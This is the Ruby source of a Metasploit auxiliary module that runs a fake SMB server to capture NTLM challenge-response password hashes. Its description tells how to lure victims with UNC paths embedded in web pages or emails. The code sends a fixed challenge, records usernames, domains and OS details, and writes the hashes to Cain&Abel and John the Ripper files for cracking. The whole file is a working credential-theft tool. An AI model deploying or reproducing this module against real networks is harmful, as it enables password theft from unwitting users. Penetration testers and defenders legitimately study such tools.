##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::SMBServer

  def initialize
    super(
      'Name'        => 'Authentication Capture: SMB',
      'Description'    => %q{
        This module provides a SMB service that can be used to
      capture the challenge-response password hashes of SMB client
      systems. Responses sent by this service have by default the
      configurable challenge string (\x11\x22\x33\x44\x55\x66\x77\x88),
      allowing for easy cracking using Cain & Abel, L0phtcrack
      or John the ripper (with jumbo patch).

      To exploit this, the target system must try to authenticate
      to this module. The easiest way to force a SMB authentication attempt
      is by embedding a UNC path (\\\\SERVER\\SHARE) into a web page or
      email message. When the victim views the web page or email, their
      system will automatically connect to the server specified in the UNC
      share (the IP address of the system running this module) and attempt
      to authenticate.
      },
      'Author'      => 'hdm',
      'License'     => MSF_LICENSE,
      'Actions'     =>
        [
          [ 'Sniffer' ]
        ],
      'PassiveActions' =>
        [
          'Sniffer'
        ],
      'DefaultAction'  => 'Sniffer'
    )

    register_options(
      [
        #OptString.new('LOGFILE',     [ false, "The local filename to store the captured hashes", nil ]),
        OptString.new('CAINPWFILE',  [ false, "The local filename to store the hashes in Cain&Abel format", nil ]),
        OptString.new('JOHNPWFILE',  [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]),
        OptString.new('CHALLENGE',   [ true, "The 8 byte challenge ", "1122334455667788" ])
      ], self.class )

    register_advanced_options(
      [
        OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
        OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " +
          "When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
        OptBool.new("USE_GSS_NEGOTIATION",   [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " +
          "When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
        OptString.new('DOMAIN_NAME',         [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
      ], self.class)

  end

  def run
    @s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
    @s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
    @s_gss_neg = datastore['USE_GSS_NEGOTIATION']
    @domain_name = datastore['DOMAIN_NAME']

    @s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
    if datastore['CHALLENGE'].to_s =~ /^([a-fA-F0-9]{16})$/
      @challenge = [ datastore['CHALLENGE'] ].pack("H*")
    else
      print_error("CHALLENGE syntax must match 1122334455667788")
      return
    end

    #those variables will prevent to spam the screen with identical hashes (works only with ntlmv1)
    @previous_lm_hash="none"
    @previous_ntlm_hash="none"
    exploit()
  end

  def smb_cmd_dispatch(cmd, c, buff)
    smb = @state[c]
    pkt = CONST::SMB_BASE_PKT.make_struct
    pkt.from_s(buff)
    #Record the IDs
    smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
    smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
    smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
    smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

    case cmd
    when CONST::SMB_COM_NEGOTIATE
      #client set extended security negotiation
      if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
        smb_cmd_negotiate(c, buff, true)
      else
        smb_cmd_negotiate(c, buff, false)
      end
    when CONST::SMB_COM_SESSION_SETUP_ANDX

      wordcount = pkt['Payload']['SMB'].v['WordCount']

      #CIFS SMB_COM_SESSION_SETUP_ANDX request without smb extended security
      #This packet contains the lm/ntlm hashes
      if wordcount == 0x0D
        smb_cmd_session_setup(c, buff, false)
      #CIFS SMB_COM_SESSION_SETUP_ANDX request with smb extended security
      # can be of type NTLMSS_NEGOCIATE or NTLMSSP_AUTH,
      elsif wordcount == 0x0C
        smb_cmd_session_setup(c, buff, true)
      else
        print_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
        smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
      end


    when CONST::SMB_COM_TREE_CONNECT
      print_status("SMB Capture - Denying tree connect from #{smb[:name]} - #{smb[:ip]}")
      smb_error(cmd, c, SMB_SMB_STATUS_ACCESS_DENIED, @s_smb_esn)

    else
      print_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
      smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS, @s_smb_esn)
    end
  end


  def smb_cmd_negotiate(c, buff, c_esn)
    smb = @state[c]
    pkt = CONST::SMB_NEG_PKT.make_struct
    pkt.from_s(buff)

    #Record the IDs
    smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
    smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
    smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
    smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']


    group    = ''
    machine  = smb[:nbsrc]

    dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)
    # print_status("Negotiation from #{smb[:name]}: #{dialects.join(", ")}")

    dialect =
      dialects.index("NT LM 0.12") ||
      dialects.length-1

    pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
    smb_set_defaults(c, pkt)

    time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
    pkt['Payload']['SMB'].v['Flags1'] = 0x88
    pkt['Payload']['SMB'].v['WordCount'] = 17
    pkt['Payload'].v['Dialect'] = dialect
    pkt['Payload'].v['SecurityMode'] = 3
    pkt['Payload'].v['MaxMPX'] = 2
    pkt['Payload'].v['MaxVCS'] = 1
    pkt['Payload'].v['MaxBuff'] = 4356
    pkt['Payload'].v['MaxRaw'] = 65536
    pkt['Payload'].v['SystemTimeLow'] = time_lo
    pkt['Payload'].v['SystemTimeHigh'] = time_hi
    pkt['Payload'].v['ServerTimeZone'] = 0x0
    pkt['Payload'].v['SessionKey'] = 0

    if c_esn && @s_smb_esn then
      pkt['Payload']['SMB'].v['Flags2'] = 0xc801
      pkt['Payload'].v['Capabilities'] = 0x8000e3fd
      pkt['Payload'].v['KeyLength'] = 0
      pkt['Payload'].v['Payload'] = @s_GUID

      if @s_gss_neg then
        pkt['Payload'].v['Payload'] += NTLM_UTILS::make_simple_negotiate_secblob_resp
      end

    else
      pkt['Payload']['SMB'].v['Flags2'] = 0xc001
      pkt['Payload'].v['Capabilities'] = 0xe3fd
      pkt['Payload'].v['KeyLength'] = 8
      pkt['Payload'].v['Payload'] = @challenge +
        Rex::Text.to_unicode(group) + "\x00\x00" +
        Rex::Text.to_unicode(machine) + "\x00\x00"
    end

    c.put(pkt.to_s)
  end

  def smb_cmd_session_setup(c, buff, esn)
    smb = @state[c]

    #extended security has been negotiated
    if esn
      pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
      pkt.from_s(buff)

      #Record the IDs
      smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
      smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
      smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
      smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
      securityblobLen = pkt['Payload'].v['SecurityBlobLen']
      blob = pkt['Payload'].v['Payload'][0,securityblobLen]

      #detect if GSS is being used
      if blob[0,7] == 'NTLMSSP'
        c_gss = false
      else
        c_gss = true
        start = blob.index('NTLMSSP')
        if start
          blob.slice!(0,start)
        else
          print_status("SMB Capture - Error finding NTLM in SMB_COM_SESSION_SETUP_ANDX request from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
          smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
          return
        end


      end
      ntlm_message = NTLM_MESSAGE::parse(blob)

      case ntlm_message
      when NTLM_MESSAGE::Type1
        #Send Session Setup AndX Response NTLMSSP_CHALLENGE response packet

        if (ntlm_message.flag & NTLM_CONST::NEGOTIATE_NTLM2_KEY != 0)
          c_ntlm_esn = true
        else
          c_ntlm_esn = false
        end
        pkt = CONST::SMB_SETUP_NTLMV2_RES_PKT.make_struct
        pkt.from_s(buff)
        smb_set_defaults(c, pkt)

        pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
        pkt['Payload']['SMB'].v['ErrorClass'] = CONST::SMB_STATUS_MORE_PROCESSING_REQUIRED
        pkt['Payload']['SMB'].v['Flags1'] = 0x88
        pkt['Payload']['SMB'].v['Flags2'] = 0xc807
        pkt['Payload']['SMB'].v['WordCount'] = 4
        pkt['Payload']['SMB'].v['UserID'] = 2050
        pkt['Payload'].v['AndX'] = 0xFF
        pkt['Payload'].v['Reserved1'] = 0x00
        pkt['Payload'].v['AndXOffset'] = 283 #ignored by client
        pkt['Payload'].v['Action'] = 0x0000

        win_domain = Rex::Text.to_unicode(@domain_name.upcase)
        win_name = Rex::Text.to_unicode(@domain_name.upcase)
        dns_domain = Rex::Text.to_unicode(@domain_name.downcase)
        dns_name = Rex::Text.to_unicode(@domain_name.downcase)

        #create the ntlmssp_challenge security blob
        if c_ntlm_esn && @s_ntlm_esn
          sb_flag = 0xe28a8215 # ntlm2
        else
          sb_flag = 0xe2828215 #no ntlm2
        end
        if c_gss
          securityblob = NTLM_UTILS::make_ntlmssp_secblob_chall( win_domain,
                      win_name,
                      dns_domain,
                      dns_name,
                      @challenge,
                      sb_flag)
        else
          securityblob = NTLM_UTILS::make_ntlmssp_blob_chall( 	win_domain,
                      win_name,
                      dns_domain,
                      dns_name,
                      @challenge,
                      sb_flag)
        end
        pkt['Payload'].v['SecurityBlobLen'] = securityblob.length
        pkt['Payload'].v['Payload'] = securityblob


        c.put(pkt.to_s)

      when NTLM_MESSAGE::Type3
        #we can process the hash and send a status_logon_failure response packet

        # Record the remote multiplex ID
        smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']
        lm_len = ntlm_message.lm_response.length # Always 24
        nt_len = ntlm_message.ntlm_response.length

        if nt_len == 24 #lmv1/ntlmv1 or ntlm2_session
          arg = {	:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
            :lm_hash => ntlm_message.lm_response.unpack('H*')[0],
            :nt_hash => ntlm_message.ntlm_response.unpack('H*')[0]
          }

          if @s_ntlm_esn && arg[:lm_hash][16,32] == '0' * 32
            arg[:ntlm_ver] = NTLM_CONST::NTLM_2_SESSION_RESPONSE
          end
        #if the length of the ntlm response is not 24 then it will be bigger and represent
        # a ntlmv2 response
        elsif nt_len > 24 #lmv2/ntlmv2
          arg = {	:ntlm_ver 		=> NTLM_CONST::NTLM_V2_RESPONSE,
            :lm_hash 		=> ntlm_message.lm_response[0, 16].unpack('H*')[0],
            :lm_cli_challenge 	=> ntlm_message.lm_response[16, 8].unpack('H*')[0],
            :nt_hash 		=> ntlm_message.ntlm_response[0, 16].unpack('H*')[0],
            :nt_cli_challenge 	=> ntlm_message.ntlm_response[16, nt_len - 16].unpack('H*')[0]
          }
        elsif nt_len == 0
          print_status("SMB Capture - Empty hash from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
          smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
          return
        else
          print_status("SMB Capture - Unknown hash type from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
          smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
          return
        end

        buff = pkt['Payload'].v['Payload']
        buff.slice!(0,securityblobLen)
        names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }

        smb[:username] = ntlm_message.user
        smb[:domain]   = ntlm_message.domain
        smb[:peer_os]   = names[0]
        smb[:peer_lm]   = names[1]

        begin
          smb_get_hash(smb,arg,true)
        rescue ::Exception => e
          print_error("SMB Capture - Error processing Hash from #{smb[:name]} - #{smb[:ip]} : #{e.class} #{e} #{e.backtrace}")
        end

        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)

      else
        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
      end

    #if not we can get the hash and send a status_access_denied response packet
    else

      pkt = CONST::SMB_SETUP_NTLMV1_PKT.make_struct
      pkt.from_s(buff)

      # Record the  IDs
      smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
      smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
      smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
      smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

      lm_len = pkt['Payload'].v['PasswordLenLM'] # Always 24
      nt_len = pkt['Payload'].v['PasswordLenNT']


      if nt_len == 24
        arg = {	:ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
          :lm_hash => pkt['Payload'].v['Payload'][0, lm_len].unpack("H*")[0],
          :nt_hash => pkt['Payload'].v['Payload'][lm_len, nt_len].unpack("H*")[0]
        }
      #if the length of the ntlm response is not 24 then it will be bigger and represent
      # a ntlmv2 response
      elsif nt_len > 24
        arg = {	:ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
          :lm_hash => pkt['Payload'].v['Payload'][0, 16].unpack("H*")[0],
          :lm_cli_challenge => pkt['Payload'].v['Payload'][16, 8].unpack("H*")[0],
          :nt_hash => pkt['Payload'].v['Payload'][lm_len, 16].unpack("H*")[0],
          :nt_cli_challenge => pkt['Payload'].v['Payload'][lm_len + 16, nt_len - 16].unpack("H*")[0]
        }
      elsif nt_len == 0
        print_status("SMB Capture - Empty hash captured from #{smb[:name]} - #{smb[:ip]} captured, ignoring ... ")
        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
        return
      else
        print_status("SMB Capture - Unknown hash type capture from #{smb[:name]} - #{smb[:ip]}, ignoring ...")
        smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)
        return
      end

      buff = pkt['Payload'].v['Payload']
      buff.slice!(0, lm_len + nt_len)
      names = buff.split("\x00\x00").map { |x| x.gsub(/\x00/, '') }

      smb[:username] = names[0]
      smb[:domain]   = names[1]
      smb[:peer_os]   = names[2]
      smb[:peer_lm]   = names[3]

      begin
        smb_get_hash(smb,arg,false)

      rescue ::Exception => e
        print_error("SMB Capture - Error processing Hash from #{smb[:name]} : #{e.class} #{e} #{e.backtrace}")
      end

      smb_error(CONST::SMB_COM_SESSION_SETUP_ANDX, c, CONST::SMB_STATUS_LOGON_FAILURE, true)

    end
  end

  def smb_get_hash(smb, arg = {}, esn=true)

    ntlm_ver = arg[:ntlm_ver]
    if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
      lm_hash = arg[:lm_hash]
      nt_hash = arg[:nt_hash]
    else
      lm_hash = arg[:lm_hash]
      nt_hash = arg[:nt_hash]
      lm_cli_challenge = arg[:lm_cli_challenge]
      nt_cli_challenge = arg[:nt_cli_challenge]
    end

    # Clean up the data for logging
    if (smb[:username] == "")
      smb[:username] = nil
    end

    if (smb[:domain] == "")
      smb[:domain] = nil
    end

    unless @previous_lm_hash == lm_hash and @previous_ntlm_hash == nt_hash then

      @previous_lm_hash = lm_hash
      @previous_ntlm_hash = nt_hash

      # Check if we have default values (empty pwd, null hashes, ...) and adjust the on-screen messages correctly
      case ntlm_ver
      when NTLM_CONST::NTLM_V1_RESPONSE
        if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
                :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'ntlm' })
          print_status("SMB Capture - NLMv1 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
          return
        end
        if (lm_hash == nt_hash or lm_hash == "" or lm_hash =~ /^0*$/ ) then
          lm_hash_message = "Disabled"
        elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
                :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE, :type => 'lm' })
          lm_hash_message = "Disabled (from empty password)"
        else
          lm_hash_message = lm_hash
          lm_chall_message = lm_cli_challenge
        end
      when NTLM_CONST::NTLM_V2_RESPONSE
        if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
                :cli_challenge => [nt_cli_challenge].pack("H*"),
                :user => Rex::Text::to_ascii(smb[:username]),
                :domain => Rex::Text::to_ascii(smb[:domain]),
                :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'ntlm' })
          print_status("SMB Capture - NTLMv2 Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
          return
        end
        if lm_hash == '0' * 32 and lm_cli_challenge == '0' * 16
          lm_hash_message = "Disabled"
          lm_chall_message = 'Disabled'
        elsif NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [lm_hash].pack("H*"),:srv_challenge => @challenge,
                :cli_challenge => [lm_cli_challenge].pack("H*"),
                :user => Rex::Text::to_ascii(smb[:username]),
                :domain => Rex::Text::to_ascii(smb[:domain]),
                :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE, :type => 'lm' })
          lm_hash_message = "Disabled (from empty password)"
          lm_chall_message = 'Disabled'
        else
          lm_hash_message = lm_hash
          lm_chall_message = lm_cli_challenge
        end

      when NTLM_CONST::NTLM_2_SESSION_RESPONSE
        if NTLM_CRYPT::is_hash_from_empty_pwd?({:hash => [nt_hash].pack("H*"),:srv_challenge => @challenge,
                :cli_challenge => [lm_hash].pack("H*")[0,8],
                :ntlm_ver => NTLM_CONST::NTLM_2_SESSION_RESPONSE, :type => 'ntlm' })
          print_status("SMB Capture - NTLM2_session Hash correspond to an empty password, ignoring ... #{smb[:ip]}")
          return
        end
        lm_hash_message = lm_hash
        lm_chall_message = lm_cli_challenge
      end


      # Display messages
      if esn
        smb[:username] = Rex::Text::to_ascii(smb[:username])
        smb[:domain]   = Rex::Text::to_ascii(smb[:domain]) if smb[:domain]
      end

      capturedtime = Time.now.to_s
      case ntlm_ver
      when NTLM_CONST::NTLM_V1_RESPONSE
        smb_db_type_hash = "smb_netv1_hash"
        capturelogmessage =
          "SMB Captured - #{capturedtime}\nNTLMv1 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
          "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
          "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} \nNTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n"
      when NTLM_CONST::NTLM_V2_RESPONSE
        smb_db_type_hash = "smb_netv2_hash"
        capturelogmessage =
          "SMB Captured - #{capturedtime}\nNTLMv2 Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
          "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
          "LMHASH:#{lm_hash_message ? lm_hash_message : "<NULL>"} " +
          "LM_CLIENT_CHALLENGE:#{lm_chall_message ? lm_chall_message : "<NULL>"}\n" +
          "NTHASH:#{nt_hash ? nt_hash : "<NULL>"} " +
          "NT_CLIENT_CHALLENGE:#{nt_cli_challenge ? nt_cli_challenge : "<NULL>"}\n"
      when NTLM_CONST::NTLM_2_SESSION_RESPONSE
        #we can consider those as netv1 has they have the same size and i cracked the same way by cain/jtr
        #also 'real' netv1 is almost never seen nowadays except with smbmount or msf server capture
        smb_db_type_hash = "smb_netv1_hash"
        capturelogmessage =
          "SMB Captured - #{capturedtime}\nNTLM2_SESSION Response Captured from #{smb[:name]} - #{smb[:ip]} \n" +
          "USER:#{smb[:username]} DOMAIN:#{smb[:domain]} OS:#{smb[:peer_os]} LM:#{smb[:peer_lm]}\n" +
          "NTHASH:#{nt_hash ? nt_hash : "<NULL>"}\n" +
          "NT_CLIENT_CHALLENGE:#{lm_hash_message ? lm_hash_message[0,16] : "<NULL>"} \n"

      else # should not happen
        return
      end

      print_status(capturelogmessage)
      lm_text = (lm_hash + lm_cli_challenge.to_s).empty? ? "00" * 24 : lm_hash + lm_cli_challenge.to_s
      nt_text = (nt_hash + nt_cli_challenge.to_s).empty? ? "00" * 24 : nt_hash + nt_cli_challenge.to_s
      pass = "#{smb[:domain]}:#{lm_text}:#{nt_text}:#{datastore['CHALLENGE'].to_s}"

      # DB reporting
      report_auth_info(
        :host  => smb[:ip],
        :port => datastore['SRVPORT'],
        :sname => 'smb_challenge',
        :user => smb[:username],
        :pass => pass,
        :type => smb_db_type_hash,
        :proof => "NAME=#{smb[:nbsrc]} DOMAIN=#{smb[:domain]} OS=#{smb[:peer_os]}",
        :source_type => "captured",
        :active => true
      )

      report_note(
        :host  => smb[:ip],
        :type  => "smb_peer_os",
        :data  => smb[:peer_os]
      ) if (smb[:peer_os] and smb[:peer_os].strip.length > 0)

      report_note(
        :host  => smb[:ip],
        :type  => "smb_peer_lm",
        :data  => smb[:peer_lm]
      ) if (smb[:peer_lm] and smb[:peer_lm].strip.length > 0)

      report_note(
        :host  => smb[:ip],
        :type  => "smb_domain",
        :data  => smb[:domain]
      ) if (smb[:domain] and smb[:domain].strip.length > 0)


      #if(datastore['LOGFILE'])
      #	File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
      #end

      if(datastore['CAINPWFILE'] and smb[:username])
        if ntlm_ver == NTLM_CONST::NTLM_V1_RESPONSE or ntlm_ver == NTLM_CONST::NTLM_2_SESSION_RESPONSE
          fd = File.open(datastore['CAINPWFILE'], "ab")
          fd.puts(
            [
              smb[:username],
              smb[:domain] ? smb[:domain] : "NULL",
              @challenge.unpack("H*")[0],
              lm_hash.empty? ? "0" * 48 : lm_hash,
              nt_hash.empty? ? "0" * 48 : nt_hash
            ].join(":").gsub(/\n/, "\\n")
          )
          fd.close
        end
      end

      if(datastore['JOHNPWFILE'] and smb[:username])
        case ntlm_ver
        when NTLM_CONST::NTLM_V1_RESPONSE,NTLM_CONST::NTLM_2_SESSION_RESPONSE

          fd = File.open(datastore['JOHNPWFILE'] + '_netntlm', "ab")
          fd.puts(
            [
              smb[:username],"",
              smb[:domain] ? smb[:domain] : "NULL",
              lm_hash.empty? ? "0" * 48 : lm_hash,
              nt_hash.empty? ? "0" * 48 : nt_hash,
              @challenge.unpack("H*")[0]
            ].join(":").gsub(/\n/, "\\n")
          )
          fd.close
        when NTLM_CONST::NTLM_V2_RESPONSE
          #lmv2
          fd = File.open(datastore['JOHNPWFILE'] + '_netlmv2', "ab")
          fd.puts(
            [
              smb[:username],"",
              smb[:domain] ? smb[:domain] : "NULL",
              @challenge.unpack("H*")[0],
              lm_hash.empty? ? "0" * 32 : lm_hash,
              lm_cli_challenge.empty? ? "0" * 16 : lm_cli_challenge
            ].join(":").gsub(/\n/, "\\n")
          )
          fd.close
          #ntlmv2
          fd = File.open(datastore['JOHNPWFILE'] + '_netntlmv2' , "ab")
          fd.puts(
            [
              smb[:username],"",
              smb[:domain] ? smb[:domain] : "NULL",
              @challenge.unpack("H*")[0],
              nt_hash.empty? ? "0" * 32 : nt_hash,
              nt_cli_challenge.empty? ? "0" * 160 : nt_cli_challenge
            ].join(":").gsub(/\n/, "\\n")
          )
          fd.close
        end

      end
    end
  end

  def smb_cmd_close(c, buff)
  end

  def smb_cmd_create(c, buff)
  end

  def smb_cmd_delete(c, buff)
  end

  def smb_cmd_nttrans(c, buff)
  end

  def smb_cmd_open(c, buff)
  end

  def smb_cmd_read(c, buff)
  end

  def smb_cmd_trans(c, buff)
  end

  def smb_cmd_tree_connect(c, buff)
  end

  def smb_cmd_tree_disconnect(c, buff)
  end

  def smb_cmd_write(c, buff)
  end

end
